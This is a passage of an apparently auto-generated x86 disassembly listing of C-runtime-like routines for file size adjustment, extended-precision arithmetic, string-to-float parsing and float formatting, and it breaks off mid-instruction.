--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4239DB loc_424EB2: ; CODE XREF: sub_4239DB+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_4DC5A0, esi jle short loc_424F05 loc_424EC1: ; CODE XREF: sub_4239DB+1528j mov eax, dword_4DB598 mov eax, [eax+esi*4] test eax, eax jz short loc_424EFC test byte ptr [eax+0Ch], 83h jz short loc_424EE0 push eax call sub_41B05B cmp eax, 0FFFFFFFFh pop ecx jz short loc_424EE0 inc edi loc_424EE0: ; CODE XREF: sub_4239DB+14F6j ; sub_4239DB+1502j cmp esi, 14h jl short loc_424EFC mov eax, dword_4DB598 push dword ptr [eax+esi*4] call sub_41B0B1 mov eax, dword_4DB598 pop ecx and dword ptr [eax+esi*4], 0 loc_424EFC: ; CODE XREF: sub_4239DB+14F0j ; sub_4239DB+1508j inc esi cmp esi, dword_4DC5A0 jl short loc_424EC1 loc_424F05: ; CODE XREF: sub_4239DB+14E4j mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_4239DB ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424F0A proc near ; CODE XREF: sub_423A33+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_41BB20 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_4DC6C0 jnb loc_42503F mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DC5C0[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_42503F push 1 push esi push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_425049 push 2 push esi push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_425049 push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_424FEC push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_41B590 push 8000h push ebx call sub_425B44 add esp, 14h mov [ebp+arg_4], eax loc_424FA0: ; CODE XREF: sub_424F0A+BDj mov eax, 1000h cmp edi, eax jge short loc_424FAB mov eax, edi loc_424FAB: ; CODE XREF: sub_424F0A+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_42291D add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_424FC9 sub edi, eax test edi, edi jle short loc_424FDF jmp short loc_424FA0 ; --------------------------------------------------------------------------- loc_424FC9: ; CODE XREF: sub_424F0A+B5j cmp dword_4DB27C, 5 jnz short loc_424FDC mov dword_4DB278, 0Dh loc_424FDC: ; CODE XREF: sub_424F0A+C6j or esi, 0FFFFFFFFh loc_424FDF: ; CODE XREF: sub_424F0A+BBj push [ebp+arg_4] push ebx call sub_425B44 pop ecx pop ecx jmp short loc_42502C ; --------------------------------------------------------------------------- loc_424FEC: ; CODE XREF: sub_424F0A+71j jge short loc_42502C push 0 push [ebp+arg_4] push ebx call sub_42272B push ebx call sub_4238A2 add esp, 10h push eax call near ptr 25E0000h nop mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_42502C mov dword_4DB278, 0Dh nop call near ptr 2680000h mov dword_4DB27C, eax loc_42502C: ; CODE XREF: sub_424F0A+E0j ; sub_424F0A:loc_424FECj ... push 0 push [ebp+arg_0] push ebx call sub_42272B add esp, 0Ch mov eax, esi pop edi jmp short loc_42504C ; --------------------------------------------------------------------------- loc_42503F: ; CODE XREF: sub_424F0A+1Aj ; sub_424F0A+36j mov dword_4DB278, 9 loc_425049: ; CODE XREF: sub_424F0A+4Ej ; sub_424F0A+63j or eax, 0FFFFFFFFh loc_42504C: ; CODE XREF: sub_424F0A+133j pop esi pop ebx leave retn sub_424F0A endp ; =============== S U B R O U T I N E ======================================= sub_425050 proc near ; CODE XREF: sub_4241CF+2Bp ; sub_4241CF+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_425066 cmp ecx, esi jnb short loc_425069 loc_425066: ; CODE XREF: sub_425050+10j push 1 pop eax loc_425069: ; CODE XREF: sub_425050+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_425050 endp ; =============== S U B R O U T I N E ======================================= sub_425071 proc near ; CODE XREF: sub_42512A+40p ; sub_42512A+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250A3 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250A3 inc dword ptr [esi+8] loc_4250A3: ; CODE XREF: sub_425071+19j ; sub_425071+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250BB inc dword ptr [esi+8] loc_4250BB: ; CODE XREF: sub_425071+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_425050 add esp, 0Ch pop edi pop esi retn sub_425071 endp ; =============== S U B R O U T I N E ======================================= sub_4250CF proc near ; CODE XREF: sub_42512A+30p ; sub_42512A+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_4250CF endp ; =============== S U B R O U T I N E ======================================= sub_4250FD proc near ; CODE XREF: sub_4256C2+1C8p ; sub_425BBA+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_4250FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42512A proc near ; CODE XREF: sub_4251F1+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_42519E push edi mov [ebp+arg_8], eax loc_425151: ; CODE XREF: sub_42512A+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_4250CF push ebx call sub_4250CF lea eax, [ebp+var_10] push eax push ebx call sub_425071 push ebx call sub_4250CF mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_425071 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_425151 xor edx, edx pop edi loc_42519E: ; CODE XREF: sub_42512A+21j ; sub_42512A+9Fj cmp [ebx+8], edx jnz short loc_4251CB mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_42519E ; --------------------------------------------------------------------------- loc_4251CB: ; CODE XREF: sub_42512A+77j mov esi, 8000h loc_4251D0: ; CODE XREF: sub_42512A+B9j test [ebx+8], esi jnz short loc_4251E5 push ebx call sub_4250CF add [ebp+var_4], 0FFFFh pop ecx jmp short loc_4251D0 ; --------------------------------------------------------------------------- loc_4251E5: ; CODE XREF: sub_42512A+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_42512A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4251F1 proc near ; CODE XREF: sub_424518+17p ; sub_424545+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_42522C: ; CODE XREF: sub_4251F1+52j mov cl, [edi] cmp cl, 20h jz short loc_425242 cmp cl, 9 jz short loc_425242 cmp cl, 0Ah jz short loc_425242 cmp cl, 0Dh jnz short loc_425245 loc_425242: ; CODE XREF: sub_4251F1+40j ; sub_4251F1+45j ... inc edi jmp short loc_42522C ; --------------------------------------------------------------------------- loc_425245: ; CODE XREF: sub_4251F1+4Fj push 4 pop esi loc_425248: ; CODE XREF: sub_4251F1+AEj ; sub_4251F1+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_4254CB ; default ; jumptable 00425254 case 10 jmp off_425692[eax*4] ; switch jump loc_42525B: ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 0 jl short loc_42526C cmp bl, 39h jg short loc_42526C loc_425265: ; CODE XREF: sub_4251F1+C4j ; sub_4251F1+118j push 3 jmp loc_425489 ; --------------------------------------------------------------------------- loc_42526C: ; CODE XREF: sub_4251F1+6Dj ; sub_4251F1+72j cmp bl, byte_43C508 jnz short loc_42527B loc_425274: ; CODE XREF: sub_4251F1+124j push 5 jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_42527B: ; CODE XREF: sub_4251F1+81j movsx eax, bl sub eax, 2Bh jz short loc_4252A1 dec eax dec eax jz short loc_425295 sub eax, 3 jnz loc_425564 jmp loc_425324 ; --------------------------------------------------------------------------- loc_425295: ; CODE XREF: sub_4251F1+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_425248 ; --------------------------------------------------------------------------- loc_4252A1: ; CODE XREF: sub_4251F1+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_425248 ; --------------------------------------------------------------------------- loc_4252AA: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 1 mov [ebp+var_10], edx jl short loc_4252B7 cmp bl, 39h jle short loc_425265 loc_4252B7: ; CODE XREF: sub_4251F1+BFj cmp bl, byte_43C508 jz loc_42537F cmp bl, 2Bh jz short loc_4252F9 cmp bl, 2Dh jz short loc_4252F9 cmp bl, 30h jz short loc_425324 loc_4252D2: ; CODE XREF: sub_4251F1+207j cmp bl, 43h jle loc_425564 cmp bl, 45h jle short loc_4252F2 cmp bl, 63h jle loc_425564 cmp bl, 65h jg loc_425564 loc_4252F2: ; CODE XREF: sub_4251F1+EDj push 6 jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_4252F9: ; CODE XREF: sub_4251F1+D5j ; sub_4251F1+DAj ... dec edi push 0Bh jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_425301: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 2 jl short loc_42530F cmp bl, 39h jle loc_425265 loc_42530F: ; CODE XREF: sub_4251F1+113j cmp bl, byte_43C508 jz loc_425274 cmp bl, 30h jnz loc_4254D9 loc_425324: ; CODE XREF: sub_4251F1+9Fj ; sub_4251F1+DFj mov eax, edx jmp loc_425248 ; --------------------------------------------------------------------------- loc_42532B: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_10], edx ; jumptable 00425254 case 3 loc_42532E: ; CODE XREF: sub_4251F1+184j cmp dword_43C504, edx jle short loc_425347 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_425355 ; --------------------------------------------------------------------------- loc_425347: ; CODE XREF: sub_4251F1+143j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425355: ; CODE XREF: sub_4251F1+154j test eax, eax jz short loc_425377 cmp [ebp+var_4], 19h jnb short loc_42536F mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_425372 ; --------------------------------------------------------------------------- loc_42536F: ; CODE XREF: sub_4251F1+16Cj inc [ebp+var_8] loc_425372: ; CODE XREF: sub_4251F1+17Cj mov bl, [edi] inc edi jmp short loc_42532E ; --------------------------------------------------------------------------- loc_425377: ; CODE XREF: sub_4251F1+166j cmp bl, byte_43C508 jnz short loc_4253E6 loc_42537F: ; CODE XREF: sub_4251F1+CCj mov eax, esi jmp loc_425248 ; --------------------------------------------------------------------------- loc_425386: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp [ebp+var_4], 0 ; jumptable 00425254 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_42539F loc_425392: ; CODE XREF: sub_4251F1+1ACj cmp bl, 30h jnz short loc_42539F dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_425392 ; --------------------------------------------------------------------------- loc_42539F: ; CODE XREF: sub_4251F1+19Fj ; sub_4251F1+1A4j ... cmp dword_43C504, edx jle short loc_4253B8 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_4253C6 ; --------------------------------------------------------------------------- loc_4253B8: ; CODE XREF: sub_4251F1+1B4j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4253C6: ; CODE XREF: sub_4251F1+1C5j test eax, eax jz short loc_4253E6 cmp [ebp+var_4], 19h jnb short loc_4253E1 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_4253E1: ; CODE XREF: sub_4251F1+1DDj mov bl, [edi] inc edi jmp short loc_42539F ; --------------------------------------------------------------------------- loc_4253E6: ; CODE XREF: sub_4251F1+18Cj ; sub_4251F1+1D7j cmp bl, 2Bh jz loc_4252F9 cmp bl, 2Dh jz loc_4252F9 jmp loc_4252D2 ; --------------------------------------------------------------------------- loc_4253FD: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp dword_43C504, edx ; jumptable 00425254 case 5 mov [ebp+var_24], edx jle short loc_425419 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_425427 ; --------------------------------------------------------------------------- loc_425419: ; CODE XREF: sub_4251F1+215j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425427: ; CODE XREF: sub_4251F1+226j test eax, eax jz loc_4254D9 mov eax, esi jmp short loc_42548A ; --------------------------------------------------------------------------- loc_425433: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o lea ecx, [edi-2] ; jumptable 00425254 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_425443 cmp bl, 39h jle short loc_425487 loc_425443: ; CODE XREF: sub_4251F1+24Bj movsx eax, bl sub eax, 2Bh jz short loc_4254BF dec eax dec eax jz short loc_4254B3 sub eax, 3 jnz loc_425567 loc_425458: ; CODE XREF: sub_4251F1+2A4j push 8 jmp short loc_4254C1 ; --------------------------------------------------------------------------- loc_42545C: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_20], edx ; jumptable 00425254 case 8 loc_42545F: ; CODE XREF: sub_4251F1+276j cmp bl, 30h jnz short loc_425469 mov bl, [edi] inc edi jmp short loc_42545F ; --------------------------------------------------------------------------- loc_425469: ; CODE XREF: sub_4251F1+271j cmp bl, 31h jl loc_425564 cmp bl, 39h jg loc_425564 jmp short loc_425487 ; --------------------------------------------------------------------------- loc_42547D: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 7 jl short loc_425490 cmp bl, 39h jg short loc_425490 loc_425487: ; CODE XREF: sub_4251F1+250j ; sub_4251F1+28Aj push 9 loc_425489: ; CODE XREF: sub_4251F1+76j pop eax loc_42548A: ; CODE XREF: sub_4251F1+240j dec edi jmp loc_425248 ; --------------------------------------------------------------------------- loc_425490: ; CODE XREF: sub_4251F1+28Fj ; sub_4251F1+294j cmp bl, 30h jnz short loc_4254D9 jmp short loc_425458 ; --------------------------------------------------------------------------- loc_425497: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp [ebp+arg_18], 0 ; jumptable 00425254 case 11 jz short loc_4254C7 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_4254BF dec eax dec eax jnz loc_425567 loc_4254B3: ; CODE XREF: sub_4251F1+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254BF: ; CODE XREF: sub_4251F1+258j ; sub_4251F1+2B8j push 7 loc_4254C1: ; CODE XREF: sub_4251F1+85j ; sub_4251F1+103j ... pop eax jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254C7: ; CODE XREF: sub_4251F1+2AAj push 0Ah dec edi pop eax loc_4254CB: ; CODE XREF: sub_4251F1+5Dj ; sub_4251F1+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 00425254 case 10 jz loc_425569 jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254D9: ; CODE XREF: sub_4251F1+12Dj ; sub_4251F1+238j ... mov edi, [ebp+arg_8] jmp loc_425569 ; --------------------------------------------------------------------------- loc_4254E1: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_20], 1 ; jumptable 00425254 case 9 xor esi, esi loc_4254EA: ; CODE XREF: sub_4251F1+339j cmp dword_43C504, 1 jle short loc_425502 movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_425511 ; --------------------------------------------------------------------------- loc_425502: ; CODE XREF: sub_4251F1+300j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_425511: ; CODE XREF: sub_4251F1+30Fj test eax, eax jz short loc_425531 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_42552C mov bl, [edi] inc edi jmp short loc_4254EA ; --------------------------------------------------------------------------- loc_42552C: ; CODE XREF: sub_4251F1+334j mov esi, 1451h loc_425531: ; CODE XREF: sub_4251F1+322j mov [ebp+var_1C], esi loc_425534: ; CODE XREF: sub_4251F1+371j cmp dword_43C504, 1 jle short loc_42554C movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_42555B ; --------------------------------------------------------------------------- loc_42554C: ; CODE XREF: sub_4251F1+34Aj mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_42555B: ; CODE XREF: sub_4251F1+359j test eax, eax jz short loc_425564 mov bl, [edi] inc edi jmp short loc_425534 ; --------------------------------------------------------------------------- loc_425564: ; CODE XREF: sub_4251F1+99j ; sub_4251F1+E4j ... dec edi jmp short loc_425569 ; --------------------------------------------------------------------------- loc_425567: ; CODE XREF: sub_4251F1+261j ; sub_4251F1+2BCj mov edi, ecx loc_425569: ; CODE XREF: sub_4251F1+2DDj ; sub_4251F1+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_425651 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_425595 cmp [ebp+var_45], 5 jl short loc_425589 inc [ebp+var_45] loc_425589: ; CODE XREF: sub_4251F1+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_425598 ; --------------------------------------------------------------------------- loc_425595: ; CODE XREF: sub_4251F1+38Dj mov eax, [ebp+var_C] loc_425598: ; CODE XREF: sub_4251F1+3A2j cmp [ebp+var_4], 0 jbe loc_425647 loc_4255A2: ; CODE XREF: sub_4251F1+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_4255B0 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_4255A2 ; --------------------------------------------------------------------------- loc_4255B0: ; CODE XREF: sub_4251F1+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_42512A mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_4255CF neg eax loc_4255CF: ; CODE XREF: sub_4251F1+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_4255DA add eax, [ebp+arg_10] loc_4255DA: ; CODE XREF: sub_4251F1+3E4j cmp [ebp+var_24], ecx jnz short loc_4255E2 sub eax, [ebp+arg_14] loc_4255E2: ; CODE XREF: sub_4251F1+3ECj cmp eax, 1450h jle short loc_425619 mov [ebp+var_2C], 1 loc_4255F0: ; CODE XREF: sub_4251F1+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_4255FC: ; CODE XREF: sub_4251F1+454j ; sub_4251F1+45Ej cmp [ebp+var_2C], 0 jz short loc_425662 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425619: ; CODE XREF: sub_4251F1+3F6j cmp eax, 0FFFFEBB0h jge short loc_425629 mov [ebp+var_30], 1 jmp short loc_4255F0 ; --------------------------------------------------------------------------- loc_425629: ; CODE XREF: sub_4251F1+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_425DDA mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_4255FC ; --------------------------------------------------------------------------- loc_425647: ; CODE XREF: sub_4251F1+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_4255FC ; --------------------------------------------------------------------------- loc_425651: ; CODE XREF: sub_4251F1+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425662: ; CODE XREF: sub_4251F1+40Fj cmp [ebp+var_30], 0 jz short loc_425677 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_425677: ; CODE XREF: sub_4251F1+426j ; sub_4251F1+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_4251F1 endp ; --------------------------------------------------------------------------- off_425692 dd offset loc_42525B ; DATA XREF: sub_4251F1+63r dd offset loc_4252AA ; jump table for switch statement dd offset loc_425301 dd offset loc_42532B dd offset loc_425386 dd offset loc_4253FD dd offset loc_425433 dd offset loc_42547D dd offset loc_42545C dd offset loc_4254E1 dd offset loc_4254CB dd offset loc_425497 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4256C2 proc near ; CODE XREF: sub_4245E9+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_425724 mov byte ptr [ebx+2], 2Dh jmp short loc_425728 ; --------------------------------------------------------------------------- loc_425724: ; CODE XREF: sub_4256C2+5Aj mov byte ptr [ebx+2], 20h loc_425728: ; CODE XREF: sub_4256C2+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_42574E test edi, edi jnz short loc_42574E cmp [ebp+arg_0], edi jnz short loc_42574E loc_425739: ; CODE XREF: sub_4256C2+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_42594C ; --------------------------------------------------------------------------- loc_42574E: ; CODE XREF: sub_4256C2+6Cj ; sub_4256C2+70j ... cmp dx, si jnz short loc_4257CD mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_425767 cmp [ebp+arg_0], 0 jz short loc_425776 loc_425767: ; CODE XREF: sub_4256C2+9Dj test edi, 40000000h jnz short loc_425776 push offset a1Snan ; "1#SNAN" jmp short loc_4257BC ; --------------------------------------------------------------------------- loc_425776: ; CODE XREF: sub_4256C2+A3j ; sub_4256C2+ABj test cx, cx jz short loc_425790 cmp edi, 0C0000000h jnz short loc_425790 cmp [ebp+arg_0], 0 jnz short loc_4257B7 push offset a1Ind ; "1#IND" jmp short loc_42579F ; --------------------------------------------------------------------------- loc_425790: ; CODE XREF: sub_4256C2+B7j ; sub_4256C2+BFj cmp edi, eax jnz short loc_4257B7 cmp [ebp+arg_0], 0 jnz short loc_4257B7 push offset a1Inf ; "1#INF" loc_42579F: ; CODE XREF: sub_4256C2+CCj lea eax, [ebx+4] push eax call sub_41BEB0 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_4257AE: ; CODE XREF: sub_4256C2+109j and [ebp+var_4], 0 jmp loc_425925 ; --------------------------------------------------------------------------- loc_4257B7: ; CODE XREF: sub_4256C2+C5j ; sub_4256C2+D0j ... push offset a1Qnan ; "1#QNAN" loc_4257BC: ; CODE XREF: sub_4256C2+B2j lea eax, [ebx+4] push eax call sub_41BEB0 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_4257AE ; --------------------------------------------------------------------------- loc_4257CD: ; CODE XREF: sub_4256C2+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_425DDA add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_42582E lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_425BBA pop ecx pop ecx loc_42582E: ; CODE XREF: sub_4256C2+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_425848 mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_42584B jmp loc_425739 ; --------------------------------------------------------------------------- loc_425848: ; CODE XREF: sub_4256C2+173j mov edi, [ebp+arg_C] loc_42584B: ; CODE XREF: sub_4256C2+17Fj cmp edi, 15h jle short loc_425853 push 15h pop edi loc_425853: ; CODE XREF: sub_4256C2+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_425869: ; CODE XREF: sub_4256C2+1B4j lea eax, [ebp+var_10] push eax call sub_4250CF dec [ebp+arg_14] pop ecx jnz short loc_425869 test esi, esi jge short loc_425893 neg esi and esi, 0FFh jle short loc_425893 loc_425886: ; CODE XREF: sub_4256C2+1CFj lea eax, [ebp+var_10] push eax call sub_4250FD dec esi pop ecx jnz short loc_425886 loc_425893: ; CODE XREF: sub_4256C2+1B8j ; sub_4256C2+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_4258F0 mov [ebp+arg_C], ecx loc_4258A3: ; CODE XREF: sub_4256C2+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, 